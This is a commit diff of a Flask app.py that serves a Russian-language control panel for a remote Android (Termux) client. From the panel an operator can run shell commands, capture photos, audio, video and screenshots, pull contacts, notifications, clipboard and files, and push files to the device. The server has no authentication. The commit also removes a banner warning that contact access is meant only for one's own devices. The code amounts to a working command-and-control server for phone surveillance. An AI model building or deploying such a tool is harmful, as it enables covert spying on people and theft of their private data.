Aleksmorshen commited on
Commit
31b5ef8
·
verified ·
1 Parent(s): 42e23d0

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +149 -147
app.py CHANGED
@@ -20,7 +20,6 @@ file_to_send_to_client = None
20
  device_status_info = {}
21
  notifications_history = []
22
  contacts_list = []
23
- installed_apps_list = []
24
 
25
 
26
  HTML_TEMPLATE = """
@@ -32,7 +31,7 @@ HTML_TEMPLATE = """
32
  <title>Панель управления Android</title>
33
  <style>
34
  body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
35
- .sidebar { width: 280px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
36
  .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
37
  .sidebar ul { list-style: none; padding: 0; margin: 0; }
38
  .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
@@ -42,24 +41,22 @@ HTML_TEMPLATE = """
42
  h1 { color: #333; text-align: center; margin-bottom: 20px;}
43
  .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
44
  label { display: block; margin-bottom: 8px; font-weight: bold; color: #555; }
45
- input[type="text"], textarea, input[type="file"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
46
  button { padding: 10px 18px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.95em; margin-right: 5px; margin-bottom: 5px;}
47
  button:hover { background-color: #0056b3; }
48
  pre { background-color: #282c34; color: #abb2bf; padding: 15px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 350px; overflow-y: auto; font-family: 'Courier New', Courier, monospace;}
49
  .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
50
  .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
51
  .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
52
- .file-browser ul, .data-list ul { list-style: none; padding: 0; }
53
- .file-browser li, .data-list li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
54
- .file-browser li:last-child, .data-list li:last-child { border-bottom: none; }
55
- .file-browser a, .data-list a { text-decoration: none; color: #007bff; }
56
- .file-browser a:hover, .data-list a:hover { text-decoration: underline; }
57
  .file-icon { margin-right: 8px; }
58
  .file-browser .dir a { font-weight: bold; }
59
  .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
60
  .file-browser .download-btn:hover { background-color: #218838; }
61
- .data-list .action-btn { font-size: 0.8em; padding: 3px 8px; background-color: #17a2b8; }
62
- .data-list .action-btn:hover { background-color: #138496; }
63
  .hidden-section { display: none; }
64
  .status-item { margin-bottom: 10px; }
65
  .status-item strong { color: #333; }
@@ -68,6 +65,7 @@ HTML_TEMPLATE = """
68
  .list-item:last-child { border-bottom: none; }
69
  .list-item strong { display: block; color: #555; }
70
  .list-item span { font-size: 0.9em; color: #777; }
 
71
  </style>
72
  <script>
73
  let currentView = 'dashboard';
@@ -82,7 +80,6 @@ HTML_TEMPLATE = """
82
  if (sectionId === 'device_status') requestDeviceStatus();
83
  if (sectionId === 'notifications') requestNotifications();
84
  if (sectionId === 'contacts') requestContacts();
85
- if (sectionId === 'apps') requestInstalledApps();
86
  refreshOutput();
87
  }
88
 
@@ -145,12 +142,9 @@ HTML_TEMPLATE = """
145
  if (data.notifications && currentView === 'notifications') {
146
  renderNotifications(data.notifications);
147
  }
148
- if (data.contacts && currentView === 'contacts') {
149
  renderContacts(data.contacts);
150
  }
151
- if (data.installed_apps && currentView === 'apps') {
152
- renderInstalledApps(data.installed_apps);
153
- }
154
 
155
 
156
  } catch (error) {
@@ -245,41 +239,28 @@ HTML_TEMPLATE = """
245
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
246
  }
247
  }
 
248
  function renderContacts(contacts) {
249
- const contactListUl = document.getElementById('contactList');
250
- contactListUl.innerHTML = '';
251
- if (contacts && contacts.length > 0) {
252
  contacts.forEach(c => {
253
- const li = document.createElement('li');
254
- li.className = 'list-item';
255
- li.innerHTML = `<strong>${c.name || 'Без имени'}</strong>: ${c.number || 'Нет номера'}`;
256
- contactListUl.appendChild(li);
257
- });
258
- } else {
259
- contactListUl.innerHTML = '<li>Нет контактов для отображения или не удалось их получить.</li>';
260
- }
261
- }
262
 
263
- function renderInstalledApps(apps) {
264
- const appLictUl = document.getElementById('installedAppsList');
265
- appLictUl.innerHTML = '';
266
- if (apps && apps.length > 0) {
267
- apps.forEach(appPkg => {
268
- const li = document.createElement('li');
269
- const nameSpan = document.createElement('span');
270
- nameSpan.textContent = appPkg;
271
-
272
- const launchBtn = document.createElement('button');
273
- launchBtn.className = 'action-btn';
274
- launchBtn.textContent = 'Запустить';
275
- launchBtn.onclick = (e) => { e.preventDefault(); launchApp(appPkg); };
276
-
277
- li.appendChild(nameSpan);
278
- li.appendChild(launchBtn);
279
- appLictUl.appendChild(li);
280
  });
281
  } else {
282
- appLictUl.innerHTML = '<li>Нет установленных приложений для отображения или не удалось их получить.</li>';
283
  }
284
  }
285
 
@@ -344,15 +325,15 @@ HTML_TEMPLATE = """
344
  document.getElementById('command_str').value = '';
345
  }
346
 
347
- function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
348
  let payload = { command_type: type };
349
- if (paramName && paramValueId) {
350
- const value = document.getElementById(paramValueId).value;
351
- if (value) payload[paramName] = value;
352
  }
353
- if (param2Name && param2ValueId) { // For second param, e.g., video duration
354
- const value2 = document.getElementById(param2ValueId).value;
355
- if (value2) payload[param2Name] = value2;
356
  }
357
  sendGenericCommand(payload);
358
  }
@@ -426,12 +407,6 @@ HTML_TEMPLATE = """
426
  function requestContacts() {
427
  sendGenericCommand({ command_type: 'get_contacts' });
428
  }
429
- function requestInstalledApps() {
430
- sendGenericCommand({ command_type: 'get_installed_apps' });
431
- }
432
- function launchApp(packageName) {
433
- sendGenericCommand({ command_type: 'launch_app', package_name: packageName });
434
- }
435
 
436
 
437
  </script>
@@ -444,7 +419,6 @@ HTML_TEMPLATE = """
444
  <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
445
  <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
446
  <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
447
- <li><a href="#apps" onclick="showSection('apps')">Приложения</a></li>
448
  <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
449
  <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
450
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
@@ -504,30 +478,15 @@ HTML_TEMPLATE = """
504
 
505
  <div id="contacts" class="container hidden-section">
506
  <h2>Контакты</h2>
507
- <div class="control-section" style="border-color: red; background-color: #ffebee;">
508
- <p style="color: red; font-weight: bold;">ВНИМАНИЕ: Доступ к контактам является чувствительной операцией. Используйте ответственно и только на своих устройствах для резервного копирования!</p>
509
- </div>
510
  <button onclick="requestContacts()">Запросить список контактов</button>
511
  <div class="control-section">
512
  <h3>Список контактов:</h3>
513
- <ul id="contactList" class="list-container data-list">
514
- <li>Запросите список контактов.</li>
515
- </ul>
516
- </div>
517
- </div>
518
-
519
- <div id="apps" class="container hidden-section">
520
- <h2>Установленные приложения</h2>
521
- <button onclick="requestInstalledApps()">Запросить список приложений</button>
522
- <div class="control-section">
523
- <h3>Список приложений (пакеты):</h3>
524
- <ul id="installedAppsList" class="list-container data-list">
525
- <li>Запросите список приложений.</li>
526
- </ul>
527
  </div>
528
  </div>
529
 
530
-
531
  <div id="files" class="container hidden-section">
532
  <h2>Файловый менеджер (Клиент)</h2>
533
  <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
@@ -570,21 +529,21 @@ HTML_TEMPLATE = """
570
  <div id="media" class="container hidden-section">
571
  <h2>Мультимедиа</h2>
572
  <div class="control-section">
573
- <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
574
- <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
575
- <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
576
  </div>
577
  <div class="control-section">
578
- <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
579
- <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
580
- <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
 
 
581
  </div>
582
- <div class="control-section">
583
- <button onclick="submitMediaCommand('record_video', 'camera_id', 'video_camera_id_input', 'duration', 'video_duration_input')">Записать видео</button>
584
- <label for="video_camera_id_input" style="display:inline-block; margin-left:5px;">ID камеры:</label>
585
- <input type="text" id="video_camera_id_input" value="0" style="width:40px; display:inline-block;">
586
- <label for="video_duration_input" style="display:inline-block; margin-left:5px;">Длит. (сек):</label>
587
- <input type="text" id="video_duration_input" value="10" style="width:40px; display:inline-block;">
588
  </div>
589
  <div class="control-section">
590
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
@@ -660,7 +619,7 @@ def index():
660
 
661
  @app.route('/send_command', methods=['POST'])
662
  def handle_send_command():
663
- global pending_command, command_output
664
 
665
  data = request.json
666
  command_output = "Ожидание выполнения..."
@@ -668,51 +627,67 @@ def handle_send_command():
668
  command_type = data.get('command_type')
669
 
670
  if command_type == 'list_files':
671
- pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
 
672
  elif command_type == 'request_download_file':
673
  filename = data.get('filename')
674
- if filename: pending_command = {'type': 'upload_to_server', 'filename': filename}
675
- else: command_output = "Ошибка: Имя файла для скачивания не указано."
 
 
676
  elif command_type == 'take_photo':
677
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
 
 
 
 
 
 
678
  elif command_type == 'record_audio':
679
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
680
- elif command_type == 'record_video':
681
- pending_command = {'type': 'record_video', 'camera_id': data.get('camera_id','0'), 'duration': data.get('duration', '10')}
682
  elif command_type == 'screenshot':
683
  pending_command = {'type': 'screenshot'}
684
  elif command_type == 'shell':
685
  command_str = data.get('command')
686
- if command_str: pending_command = {'type': 'shell', 'command': command_str}
687
- else: command_output = "Ошибка: Команда не указана."
 
 
688
  elif command_type == 'receive_file':
689
- s_fn, t_path = data.get('server_filename'), data.get('target_path_on_device')
690
- if s_fn and t_path:
691
- f_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], s_fn)
692
- if os.path.exists(f_path):
693
- pending_command = {'type': 'receive_file', 'download_url': url_for('download_to_client', filename=s_fn, _external=True), 'target_path': t_path, 'original_filename': s_fn }
694
- else: command_output = f"Ошибка: Файл {s_fn} не найден на сервере."
695
- else: command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
 
 
 
 
 
 
 
 
 
696
  elif command_type == 'clipboard_get':
697
  pending_command = {'type': 'clipboard_get'}
698
  elif command_type == 'clipboard_set':
699
- pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
 
700
  elif command_type == 'open_url':
701
- url = data.get('url')
702
- if url: pending_command = {'type': 'open_url', 'url': url}
703
- else: command_output = "Ошибка: URL для открытия не указан."
 
 
704
  elif command_type == 'get_device_status':
705
- pending_command = {'type': 'get_device_status', 'item': data.get('item')}
 
706
  elif command_type == 'get_notifications':
707
  pending_command = {'type': 'get_notifications'}
708
  elif command_type == 'get_contacts':
709
  pending_command = {'type': 'get_contacts'}
710
- elif command_type == 'get_installed_apps':
711
- pending_command = {'type': 'get_installed_apps'}
712
- elif command_type == 'launch_app':
713
- pkg_name = data.get('package_name')
714
- if pkg_name: pending_command = {'type': 'launch_app', 'package_name': pkg_name}
715
- else: command_output = "Ошибка: Имя пакета для запуска не указано."
716
  else:
717
  command_output = "Неизвестный тип команды."
718
 
@@ -730,40 +705,45 @@ def get_command():
730
 
731
  @app.route('/submit_client_data', methods=['POST'])
732
  def submit_client_data():
733
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
734
 
735
  data = request.json
736
- if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
 
737
 
738
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
739
 
740
  if 'output' in data:
741
  new_output = data['output']
742
  max_len = 20000
743
- command_output = new_output[:max_len] + ("\n... (output truncated)" if len(new_output) > max_len else "")
 
 
 
744
 
745
- if 'current_path' in data: current_client_path = data['current_path']
746
- if 'device_status_update' in data: device_status_info.update(data['device_status_update'])
 
 
 
 
 
747
 
748
  if 'notifications_update' in data:
749
- notifications_history = data['notifications_update']
750
- if not command_output or command_output == "Клиент онлайн.": command_output = "Список уведомлений обновлен."
 
751
 
752
  if 'contacts_update' in data:
753
  contacts_list = data['contacts_update']
754
- if not command_output or command_output == "Клиент онлайн.": command_output = "Список контактов обновлен."
755
-
756
- if 'installed_apps_update' in data:
757
- installed_apps_list = data['installed_apps_update']
758
- if not command_output or command_output == "Клиент онлайн.": command_output = "Список приложений обновлен."
759
 
760
 
761
  if 'heartbeat' in data and data['heartbeat']:
762
- is_pure_heartbeat = 'output' not in data and 'device_status_update' not in data and \
763
- 'notifications_update' not in data and 'contacts_update' not in data and \
764
- 'installed_apps_update' not in data
765
- if not command_output or command_output == "Клиент онлайн." or is_pure_heartbeat:
766
- if is_pure_heartbeat : command_output = "Клиент онлайн."
767
  return jsonify({'status': 'heartbeat_ok'})
768
 
769
  return jsonify({'status': 'data_received'})
@@ -785,15 +765,19 @@ def upload_from_client_route():
785
  filename = werkzeug.utils.secure_filename(file.filename)
786
  filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
787
 
788
- counter = 0; base_name, ext = os.path.splitext(filename)
 
789
  while os.path.exists(filepath):
790
- counter += 1; filename = f"{base_name}_{counter}{ext}"; filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
 
 
791
 
792
  try:
793
  file.save(filepath)
794
  origin_command_type = request.form.get("origin_command_type", "unknown")
795
  if origin_command_type == "request_download_file":
796
  command_output = f"Файл '{filename}' успешно загружен С клиента."
 
797
  return jsonify({'status': 'success', 'filename': filename})
798
  except Exception as e:
799
  command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
@@ -801,12 +785,14 @@ def upload_from_client_route():
801
 
802
  @app.route('/get_status_output', methods=['GET'])
803
  def get_status_output_route():
804
- global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
805
  return jsonify({
806
- 'output': command_output, 'last_heartbeat': last_client_heartbeat,
807
- 'current_path': current_client_path, 'device_status': device_status_info,
808
- 'notifications': notifications_history, 'contacts': contacts_list,
809
- 'installed_apps': installed_apps_list
 
 
810
  })
811
 
812
  @app.route('/uploads_from_client/<path:filename>')
@@ -818,34 +804,50 @@ def list_uploaded_files_route():
818
  files = []
819
  try:
820
  for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
821
- if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)): files.append(f_name)
822
- except Exception: pass
 
 
823
  return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
824
 
825
 
826
  @app.route('/upload_to_server_for_client', methods=['POST'])
827
  def upload_to_server_for_client_route():
828
- global command_output
829
- if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
 
 
830
  file = request.files['file_to_device']
831
  target_path_on_device = request.form.get('target_path_on_device')
832
- if file.filename == '': return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
833
- if not target_path_on_device: return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
 
 
 
 
834
 
835
  if file:
836
  original_filename = werkzeug.utils.secure_filename(file.filename)
837
  server_side_filename = str(uuid.uuid4()) + "_" + original_filename
838
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
 
839
  try:
840
  file.save(filepath_on_server)
841
  command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
842
- return jsonify({'status': 'success', 'server_filename': server_side_filename, 'original_filename': original_filename, 'target_path_on_device': target_path_on_device})
843
- except Exception as e: return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
 
 
 
 
 
 
844
  return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
845
 
846
  @app.route('/download_to_client/<filename>')
847
  def download_to_client(filename):
848
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
849
 
 
850
  if __name__ == '__main__':
851
  app.run(host='0.0.0.0', port=7860, debug=False)
 
20
  device_status_info = {}
21
  notifications_history = []
22
  contacts_list = []
 
23
 
24
 
25
  HTML_TEMPLATE = """
 
31
  <title>Панель управления Android</title>
32
  <style>
33
  body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
34
+ .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
35
  .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
36
  .sidebar ul { list-style: none; padding: 0; margin: 0; }
37
  .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
 
41
  h1 { color: #333; text-align: center; margin-bottom: 20px;}
42
  .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
43
  label { display: block; margin-bottom: 8px; font-weight: bold; color: #555; }
44
+ input[type="text"], textarea, input[type="file"], input[type="number"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
45
  button { padding: 10px 18px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.95em; margin-right: 5px; margin-bottom: 5px;}
46
  button:hover { background-color: #0056b3; }
47
  pre { background-color: #282c34; color: #abb2bf; padding: 15px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 350px; overflow-y: auto; font-family: 'Courier New', Courier, monospace;}
48
  .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
49
  .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
50
  .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
51
+ .file-browser ul { list-style: none; padding: 0; }
52
+ .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
53
+ .file-browser li:last-child { border-bottom: none; }
54
+ .file-browser a { text-decoration: none; color: #007bff; }
55
+ .file-browser a:hover { text-decoration: underline; }
56
  .file-icon { margin-right: 8px; }
57
  .file-browser .dir a { font-weight: bold; }
58
  .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
59
  .file-browser .download-btn:hover { background-color: #218838; }
 
 
60
  .hidden-section { display: none; }
61
  .status-item { margin-bottom: 10px; }
62
  .status-item strong { color: #333; }
 
65
  .list-item:last-child { border-bottom: none; }
66
  .list-item strong { display: block; color: #555; }
67
  .list-item span { font-size: 0.9em; color: #777; }
68
+ .list-item p {margin: 5px 0;}
69
  </style>
70
  <script>
71
  let currentView = 'dashboard';
 
80
  if (sectionId === 'device_status') requestDeviceStatus();
81
  if (sectionId === 'notifications') requestNotifications();
82
  if (sectionId === 'contacts') requestContacts();
 
83
  refreshOutput();
84
  }
85
 
 
142
  if (data.notifications && currentView === 'notifications') {
143
  renderNotifications(data.notifications);
144
  }
145
+ if (data.contacts && currentView === 'contacts') {
146
  renderContacts(data.contacts);
147
  }
 
 
 
148
 
149
 
150
  } catch (error) {
 
239
  notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
240
  }
241
  }
242
+
243
  function renderContacts(contacts) {
244
+ const contactListDiv = document.getElementById('contactList');
245
+ contactListDiv.innerHTML = '';
246
+ if (contacts && contacts.length > 0) {
247
  contacts.forEach(c => {
248
+ const itemDiv = document.createElement('div');
249
+ itemDiv.className = 'list-item';
250
+ // Termux API returns "name: number"
251
+ // We split it for better display
252
+ const parts = c.split(':');
253
+ const name = parts.length > 1 ? parts[0].trim() : "Без имени";
254
+ const number = parts.length > 1 ? parts.slice(1).join(':').trim() : c.trim();
 
 
255
 
256
+ itemDiv.innerHTML = `
257
+ <strong>${name}</strong>
258
+ <span>${number}</span>
259
+ `;
260
+ contactListDiv.appendChild(itemDiv);
 
 
 
 
 
 
 
 
 
 
 
 
261
  });
262
  } else {
263
+ contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
264
  }
265
  }
266
 
 
325
  document.getElementById('command_str').value = '';
326
  }
327
 
328
+ function submitMediaCommand(type, param1Name, param1ValueId, param2Name, param2ValueId) {
329
  let payload = { command_type: type };
330
+ if (param1Name && param1ValueId) {
331
+ const value = document.getElementById(param1ValueId).value;
332
+ if (value) payload[param1Name] = value;
333
  }
334
+ if (param2Name && param2ValueId) { // For second parameter (e.g., video duration)
335
+ const value = document.getElementById(param2ValueId).value;
336
+ if (value) payload[param2Name] = value;
337
  }
338
  sendGenericCommand(payload);
339
  }
 
407
  function requestContacts() {
408
  sendGenericCommand({ command_type: 'get_contacts' });
409
  }
 
 
 
 
 
 
410
 
411
 
412
  </script>
 
419
  <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
420
  <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
421
  <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
 
422
  <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
423
  <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
424
  <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
 
478
 
479
  <div id="contacts" class="container hidden-section">
480
  <h2>Контакты</h2>
 
 
 
481
  <button onclick="requestContacts()">Запросить список контактов</button>
482
  <div class="control-section">
483
  <h3>Список контактов:</h3>
484
+ <div id="contactList" class="list-container">
485
+ <p>Запросите список контактов.</p>
486
+ </div>
 
 
 
 
 
 
 
 
 
 
 
487
  </div>
488
  </div>
489
 
 
490
  <div id="files" class="container hidden-section">
491
  <h2>Файловый менеджер (Клиент)</h2>
492
  <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
 
529
  <div id="media" class="container hidden-section">
530
  <h2>Мультимедиа</h2>
531
  <div class="control-section">
532
+ <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input_photo')">Сделать фото</button>
533
+ <label for="camera_id_input_photo" style="display:inline-block; margin-left:10px;">ID камеры:</label>
534
+ <input type="text" id="camera_id_input_photo" value="0" style="width:50px; display:inline-block;">
535
  </div>
536
  <div class="control-section">
537
+ <button onclick="submitMediaCommand('record_video', 'camera_id', 'camera_id_input_video', 'duration', 'video_duration_input')">Записать видео</button>
538
+ <label for="camera_id_input_video" style="display:inline-block; margin-left:10px;">ID камеры:</label>
539
+ <input type="text" id="camera_id_input_video" value="0" style="width:50px; display:inline-block; margin-right:10px;">
540
+ <label for="video_duration_input" style="display:inline-block;">Длительность (сек):</label>
541
+ <input type="number" id="video_duration_input" value="10" style="width:60px; display:inline-block;">
542
  </div>
543
+ <div class="control-section">
544
+ <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input_media')">Записать аудио</button>
545
+ <label for="audio_duration_input_media" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
546
+ <input type="text" id="audio_duration_input_media" value="5" style="width:50px; display:inline-block;">
 
 
547
  </div>
548
  <div class="control-section">
549
  <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
 
619
 
620
  @app.route('/send_command', methods=['POST'])
621
  def handle_send_command():
622
+ global pending_command, command_output, current_client_path, file_to_send_to_client
623
 
624
  data = request.json
625
  command_output = "Ожидание выполнения..."
 
627
  command_type = data.get('command_type')
628
 
629
  if command_type == 'list_files':
630
+ path_requested = data.get('path', '.')
631
+ pending_command = {'type': 'list_files', 'path': path_requested}
632
  elif command_type == 'request_download_file':
633
  filename = data.get('filename')
634
+ if filename:
635
+ pending_command = {'type': 'upload_to_server', 'filename': filename}
636
+ else:
637
+ command_output = "Ошибка: Имя файла для скачивания не указано."
638
  elif command_type == 'take_photo':
639
  pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
640
+ elif command_type == 'record_video':
641
+ pending_command = {
642
+ 'type': 'record_video',
643
+ 'camera_id': data.get('camera_id', '0'),
644
+ 'duration': data.get('duration', '10') # Default 10 seconds for video
645
+ }
646
  elif command_type == 'record_audio':
647
  pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
 
 
648
  elif command_type == 'screenshot':
649
  pending_command = {'type': 'screenshot'}
650
  elif command_type == 'shell':
651
  command_str = data.get('command')
652
+ if command_str:
653
+ pending_command = {'type': 'shell', 'command': command_str}
654
+ else:
655
+ command_output = "Ошибка: Команда не указана."
656
  elif command_type == 'receive_file':
657
+ server_filename = data.get('server_filename')
658
+ target_path_on_device = data.get('target_path_on_device')
659
+ if server_filename and target_path_on_device:
660
+ file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
661
+ if os.path.exists(file_path_on_server):
662
+ pending_command = {
663
+ 'type': 'receive_file',
664
+ 'download_url': url_for('download_to_client', filename=server_filename, _external=True),
665
+ 'target_path': target_path_on_device,
666
+ 'original_filename': server_filename
667
+ }
668
+ file_to_send_to_client = None
669
+ else:
670
+ command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
671
+ else:
672
+ command_output = "О��ибка: Недостаточно данных для отправки файла клиенту."
673
  elif command_type == 'clipboard_get':
674
  pending_command = {'type': 'clipboard_get'}
675
  elif command_type == 'clipboard_set':
676
+ text_to_set = data.get('text', '')
677
+ pending_command = {'type': 'clipboard_set', 'text': text_to_set}
678
  elif command_type == 'open_url':
679
+ url_to_open = data.get('url')
680
+ if url_to_open:
681
+ pending_command = {'type': 'open_url', 'url': url_to_open}
682
+ else:
683
+ command_output = "Ошибка: URL для открытия не указан."
684
  elif command_type == 'get_device_status':
685
+ item_requested = data.get('item')
686
+ pending_command = {'type': 'get_device_status', 'item': item_requested}
687
  elif command_type == 'get_notifications':
688
  pending_command = {'type': 'get_notifications'}
689
  elif command_type == 'get_contacts':
690
  pending_command = {'type': 'get_contacts'}
 
 
 
 
 
 
691
  else:
692
  command_output = "Неизвестный тип команды."
693
 
 
705
 
706
  @app.route('/submit_client_data', methods=['POST'])
707
  def submit_client_data():
708
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
709
 
710
  data = request.json
711
+ if not data:
712
+ return jsonify({'status': 'error', 'message': 'No data received'}), 400
713
 
714
  last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
715
 
716
  if 'output' in data:
717
  new_output = data['output']
718
  max_len = 20000
719
+ if len(new_output) > max_len:
720
+ command_output = new_output[:max_len] + "\n... (output truncated)"
721
+ else:
722
+ command_output = new_output
723
 
724
+ if 'current_path' in data:
725
+ current_client_path = data['current_path']
726
+
727
+ if 'device_status_update' in data:
728
+ update = data['device_status_update']
729
+ for key, value in update.items():
730
+ device_status_info[key] = value
731
 
732
  if 'notifications_update' in data:
733
+ notifications_history = data['notifications_update']
734
+ if not command_output or command_output == "Клиент онлайн.":
735
+ command_output = "Список уведомлений обновлен."
736
 
737
  if 'contacts_update' in data:
738
  contacts_list = data['contacts_update']
739
+ if not command_output or command_output == "Клиент онлайн.":
740
+ command_output = "Список контактов обновлен."
 
 
 
741
 
742
 
743
  if 'heartbeat' in data and data['heartbeat']:
744
+ if not command_output or command_output == "Клиент онлайн.":
745
+ if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data:
746
+ command_output = "Клиент онлайн."
 
 
747
  return jsonify({'status': 'heartbeat_ok'})
748
 
749
  return jsonify({'status': 'data_received'})
 
765
  filename = werkzeug.utils.secure_filename(file.filename)
766
  filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
767
 
768
+ counter = 0
769
+ base_name, ext = os.path.splitext(filename)
770
  while os.path.exists(filepath):
771
+ counter += 1
772
+ filename = f"{base_name}_{counter}{ext}"
773
+ filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
774
 
775
  try:
776
  file.save(filepath)
777
  origin_command_type = request.form.get("origin_command_type", "unknown")
778
  if origin_command_type == "request_download_file":
779
  command_output = f"Файл '{filename}' успешно загружен С клиента."
780
+
781
  return jsonify({'status': 'success', 'filename': filename})
782
  except Exception as e:
783
  command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
 
785
 
786
  @app.route('/get_status_output', methods=['GET'])
787
  def get_status_output_route():
788
+ global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
789
  return jsonify({
790
+ 'output': command_output,
791
+ 'last_heartbeat': last_client_heartbeat,
792
+ 'current_path': current_client_path,
793
+ 'device_status': device_status_info,
794
+ 'notifications': notifications_history,
795
+ 'contacts': contacts_list
796
  })
797
 
798
  @app.route('/uploads_from_client/<path:filename>')
 
804
  files = []
805
  try:
806
  for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
807
+ if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
808
+ files.append(f_name)
809
+ except Exception:
